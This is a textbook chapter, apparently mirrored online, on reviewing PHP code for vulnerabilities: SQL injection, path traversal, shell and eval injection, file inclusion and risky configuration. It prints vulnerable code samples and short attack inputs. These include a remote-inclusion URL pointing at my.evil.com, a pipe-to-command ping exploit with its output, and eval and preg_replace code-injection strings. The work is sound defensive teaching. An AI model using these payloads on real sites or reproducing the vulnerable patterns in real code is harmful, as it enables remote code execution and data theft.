PHP


PHP Hypertext Preprocessor (PHP) is one of the most popular platforms for web development, especially in the open source community. It is available as an Apache module, ISAPI filter, and CGI program, making it one of the most versatile web platforms in use. PHP's low cost, open license, and relatively simple syntax are a major part of its rapid uptake. It is especially popular with junior web developers because it provides a fairly easy transition from static HTML pages to rich dynamic web sites.

PHP was originally designed as a simple set of Perl scripts performing basic HTML templating and substitution. However, more than ten years of development and five major revisions have evolved it into a robust object-oriented language with a vast range of libraries and toolkits. Unfortunately PHP's convenience and expansive libraries are also one of its major security issues.

Many PHP libraries are simple wrappers around myriad system APIs that behave differently and affect security in ways poorly understood by most developers. PHP's simplicity and rapid uptake have also resulted in a large number of popular toolkits developed with little respect for security. Of course, the PHP platform itself is no less secure than any of its competitors. So, with a proper knowledge of the major PHP APIs, you can identify and diagnose potential security issues.

SQL Injection

Most database interaction in PHP is done through a handful of simple common interfaces. MySQL database interaction typically involves the mysql_connect() and mysql_query() functions. Postgres interaction uses pg_connect() and pg_query(). Microsoft SQL Server uses the mssql_query() family of functions. Here's a typical vulnerable SQL query:

$res=mysql_query("SELECT * FROM users WHERE name='"     . $_GET["username"] . "'");


This code issues a typical vulnerable query to a MySQL server, although it's not specific to MySQL. All the database-specific interfaces use the same general set of functions. You should search the codebase first to determine which functions are used and attempt to examine all SQL queries. It's worth researching online documentation to gather a list of potential functions, but the short list includes the following:

  • mysql_query()

  • mysql_db_query()

  • mysql_unbuffered_query()

  • pg_execute()

  • pg_query()

  • pg_query_params()

  • pg_prepare()

  • pg_send_execute()

  • pg_send_query()

  • pg_send_query_params()

  • pg_send_prepare()

  • mssql_execute()

  • mssql_query()

In addition, a generic Open Database Connectivity (ODBC) interface is implemented in the odbc_* family of functions. It has a slightly different API, with a SQL query assuming the following form:

$query="SELECT * FROM users WHERE name='"     . $_GET["username"] . "'"; $result = odbc_exec($conn, $query);


When reviewing code, check all uses of odbc_exec(), odbc_execute(), odbc_do(), and odbc_prepare().

Finally, the PHP Data Objects (PDO) functionality provides an abstraction on top of a database layer. You should be able to isolate SQL queries by looking for calls to the PDO methods exec(), prepare(), and query(). You also need to check the PDOStatement.execute() method to make sure the prepared statement template isn't constructed dynamically.

File Access

PHP implements most of the C-style standard library calls for file manipulation. The fopen() function is the most common one for opening files, and it has an interface much like C's. Other functions of interest include readfile(), dir(), unlink(), file(), mkdir(), symlink(), and get_file_contents(). The usual tampering concerns apply to PHP's file access functions, and a typical exploitable issue looks something like this:

$myfile = "/usr/local/myapp/var/:".$_GET['filename']; $fp = fopen($myfile,"r");


This code results in a straightforward directory traversal attack allowing reading of arbitrary files. PHP is also vulnerable to NUL-byte injection, although it's addressed automatically in certain configurations, depending on global settings.

Of course, the developers of PHP couldn't simply let fopen() be relegated to the mere task of opening files on the file system. They stopped short of adding subshell execution as Perl does, but they did add support for handling URLs automatically. So if you use fopen() with a filename of http://www.neohapsis.com/, for example, an HTTP connection is made for you behind the scenes. PHP comes with support for http://, ftp://, and file://. Depending on the build, it can also support https://, ftps://, a few special php:// files, zlib://, compress.zlib://, compress.bzip2://, ssh2.shell://, ssh2.exec://, ssh2.tunnel://, ssh2.sftp://, ogg://, and expect://.

This behavior is enabled by default and is disabled by changing the setting of allow_url_fopen in the php.ini configuration file. As you might imagine, this behavior can be very dangerous if an attacker controls the beginning of a filename. At a minimum, the attacker can attempt to get the Web server to make remote network requests, which can be useful for firewall attacks, especially on stateful inspection firewalls that parse application-layer protocols, such as FTP. Attackers might simply be able to take advantage of the Web server's location in the network to perform a nefarious action. For example, they could make requests to administrative interfaces that are firewalled from the outside or even overload protocols to make an FTP or HTTP request be interpreted by a different daemon as valid input. The effects are similar to the XML external entities attack discussed in Chapter 17.

Attackers with control of the beginning of a filename can use any of the methods listed previously to have total control over the file contents the PHP code sees. This control may or may not be a severe security issue, depending on the subsequent code, but it's likely that creative attackers can come up with some form of attack. One special file that's still present if allow_url_fopen is disabled is the php://input file. This special file lets code read the raw data that was sent via POST to the PHP script.

Shell Invocation

As in Perl, developers can call a command shell in a PHP script in quite a few ways. Backticks open a command shell, so any user-malleable data inside backticks represents a major risk. The exec() function runs an external program through a subshell, so don't mistake it for being similar to an execve()-style system call. The shell_exec() function is equivalent to the backtick operator, and system() is similar to the libc system(): It runs the command through a subshell. The proc_open() and popen() functions are similar to the libc popen() and are used for spawning a subprocess with a pipe. The passthru() function runs a command in a shell and has it replace the currently running process.

What's most important to note is that every single API mentioned takes a "command" as the argument, and that command is run through a shell. The PHP function that just uses execve() with a file is pcntl_exec(), and anything else should be examined for metacharacter injection potential. This naming is a little misleading because you would expect functions such as exec() and proc_open() to work like libc execve()-style functions, but they don't.

Here's a simple example of a real-world vulnerability in the PHP Ping utility:

//************************************* // FUNCTION DU PING //************************************* function PHPing($cible,$pingFile){ exec("ping -a -n 1 $cible >$pingFile", $list); $fd = fopen($pingFile, "r"); while(!feof($fd)) { $ping.= fgets($fd,256); } fclose($fd); return $ping; } //--------------------------------------- ?>


This issue, discovered by Gregory Lebras of Security Corporation, is straightforward (www.securityfocus.com/bid/7030). Users can insert shell metacharacters in the $cible variable. Therefore, the call to exec() can be used to run arbitrary commands of the attacker's choosing. Here's the example Lebras provided:

http://[target]/phpping/index.php?pingto=www.security-corp.org%20|%20dir ... c:\phpping 03/03/2003  23:01       <DIR>          . 03/03/2003  23:01       <DIR>          .. 03/03/2003  23:00       <DIR>          img 30/04/2002  23:13                3217 index.php 30/04/2002  23:19                 921 README 03/03/2003  23:03                   0 resultat.ping                3 file(s)           4138 bytes                3 Dir(s) 11413962752 bytes free


File Inclusion

The require and include language directives are used to include other files in a PHP script. Both resolve dynamically constructed strings, and it's not uncommon for developers to make use of this feature. Any user-supplied input in the included filename can introduce serious security flaws by allowing users to run any file they want through the PHP interpreter. You should also consider the similar functions require_once() and include_once() during code review.

PHP is quite vulnerable to this class of security flaw, as the require and include language directives support the flexible URL file opening discussed for the fopen() function. In the default PHP configuration, therefore, the following code would be extremely unsafe:

// Now draw the current submenu include ($_GET['submenu']."_code.inc");


Attackers could supply the following for the submenu parameter:

http://my.evil.com/evilcode.txt?ignore=


The PHP interpreter would connect to my.evil.com and make a Web request for the following:

GET evilcode.txt?ignore=_code.inc


Then it would take the response from evil.com and run it as a PHP script. In this way, attackers can provide any arbitrary PHP code they want.

If the configuration disables allow_url_fopen for security reasons, there's still a potential attack vector. Attackers could specify a filename of php://input, which causes the PHP interpreter to parse and execute the raw data that sent via POST to the PHP script.

Inline Evaluation

The eval() function evaluates a string as a block of PHP code through the interpreter. User-malleable data in an evaluated string can lead to major security exposures if users can maliciously embed their own PHP code. James Bercegay of Gulftech Research and Development discovered the following vulnerability in the PHPXMLRPC module (www.osvdb.org/17793):

  // decompose incoming XML into request structure   xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING,     true);   xml_set_element_handler($parser, "xmlrpc_se", "xmlrpc_ee");   xml_set_character_data_handler($parser, "xmlrpc_cd");   xml_set_default_handler($parser, "xmlrpc_dh");   if (!xml_parse($parser, $data, 1)) {     // return XML error as a faultCode     $r=new xmlrpcresp(0,       $xmlrpcerrxml+xml_get_error_code($parser),         sprintf("XML error: %s at line %d",           xml_error_string(xml_get_error_code($parser)),         xml_get_current_line_number($parser)));     xml_parser_free($parser);   } else {     xml_parser_free($parser);     $m=new xmlrpcmsg($_xh[$parser]['method']);     // now add parameters in     $plist="";     for($i=0; $i\n";     $plist.="$i - " .  $_xh[$parser]['params'][$i]. " \n";     eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");");   }


This code is a little hard to follow, but basically it parses a user-supplied XML document and then loops through the parameters the user provided. For each loop, it constructs PHP code to call the addParam() method on the xmlrpcmsg object $m. It then uses eval() to call that method. Say the user supplies an XML document with a parameter named bob. The preceding code constructs this string:

$m->addParam(bob);


It then calls eval() to execute that string. Now say the user supplies a XML document with this parameter name:

bob); evil_php_code_here(); exit(


The string the code constructs looks like this:

$m->addParam(bob); evil_php_code_here(); exit();


The PHP interpreter then executes this string, which probably isn't good.

In addition, a form of regular expression implicitly evaluates a dynamically constructed string containing PHP code. The preg_replace() function, when used with an /e regular expression modifier, runs a given piece of code against every match. Stefan Esser, an independent researcher, found a great example of how this function can be vulnerable to code injection issues in the DokuWiki application (www.securityfocus.com/bid/18289). This is the vulnerable code:

    // don't check links and medialinks for spelling errors     ...     $string = preg_replace('/\[\[(.*?)(\|(.*?))?(\]\])/e',            'spaceslink("\\1","\\2")',$string);


Every time the code encounters characters that match the regular expression, it constructs a piece of PHP code to run to determine what to replace those characters with. If the code encounters [[somestring]], it runs the following code through the PHP interpreter:

spaceslink("somestring", "");


It then replaces [[somestring]] with the result of the spaceslink() function. The attack Esser outlined is to embed this PHP code in the string it's analyzing:

[[{${phpinfo()}}]]


This code is evaluated as the following:

spaceslink("{${phpinfo()}}","");


This evaluation causes the phpinfo() function to be called and its results placed back in the string. From here, the attacker is practically unstoppable.

Cross-Site Scripting

PHP encodes HTML content using the htmlspecialchars() and htmlentities() functions for normal HTML and the urlencode() function for URLs. You should look for any user-malleable HTML output via other methods including print, echo, and <?= <expression> ?>.

Configuration

Any PHP security review should always account for the relevant configuration information. Several globally enforced security provisions, explained in the following sections, can dramatically change an application's behavior and vulnerability depending on what the developer or operations staff opted for. These settings can be somewhat intrusive and even break functionality, so it's common for developers to make changes to the configuration as they flesh out the Web application.

The register_globals Option

A rather dramatic option, register_globals, was enabled in the default PHP configuration until version 4.2.0, when it was disabled because of its security consequences. Shaun Clowes of Secure Reality brought this issue to people's attention, probably causing this default configuration change. His article "A Study in Scarlet" is definitely worth reading if you're going to be doing any security work with PHP (www.securereality.com.au/archives/studyinscarlet.txt).

Basically, register_globals automatically takes all variables sent by users and puts them into global variables for the PHP script. So if you add jimbob=42 to the query string, you have the $jimbob variable with a value of 42. In PHP, you can use variables without ever initializing them because PHP just sets them up in a reasonable initial state the first time they're used. Consequently, many programmers don't explicitly initialize their variables.

You can probably see how the presence of unexpected variables can mess up application security logic. Consider this example borrowed from the PHP manual:

<?php if (authenticated_user()) {    $authorized = true; } if ($authorized) {    include "/highly/sensitive/data.php"; } ?>


The end result is that instead of bothering with authentication, attackers can just append authorized=1 to the query string or place it in a cookie. PHP creates a global variable named $authorized and sets it to the value 1. Then the code fails the first if statement, but the second statement succeeds, and the secret data is displayed.

This example seems somewhat contrived, and it wouldn't be a problem if the developer had initialized $authorized or set it to false explicitly on failure. However, it's not uncommon for developers to forget to initialize variables over the course of a large application. Luckily, use of register_globals seems to have fallen out of favor.

The magic_quotes Option

A global security mechanism called magic_quotes attempts to curb metacharacter injection attacks. The configuration option magic_quotes_gpc (gpc stands for "get, post, and cookie") enables global metacharacter escaping in all GET, POST, and cookie data. This means every quote, double quote, backslash, and NULL character is automatically escaped with a backslash character. This option is actually enabled by default. The magic_quotes_runtime option, disabled by default, does the same escaping on runtime-generated data from external sources, including databases and the OS.

Developers often disable the magic_quotes option because it can interfere with functionality and obscure the program's behavior. Even when it's enabled, it's not uniformly effective in preventing trickery. Numeric fields in SQL queries are often prone to tampering, and they can be exploited without needing a single quote character. Also, many applications do some sort of obfuscation or encoding of form variables that renders escaping meaningless. If a variable is in base64, escaping bad characters doesn't accomplish anything because those characters aren't in the base64 character set. After decoding, the bad characters are reintroduced to the application unless users escape them explicitly.

The .inc Files Option

It's a common practice to place header and framework files in .inc files. In a common misconfiguration, the Web server doesn't have the correct file handler mapped for the .inc extension. Requesting the include file directly dumps its source code because it's treated like a text or HTML file.




The Art of Software Security Assessment. Identifying and Preventing Software Vulnerabilities
The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities
ISBN: 0321444426
EAN: 2147483647
Year: 2004
Pages: 194

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net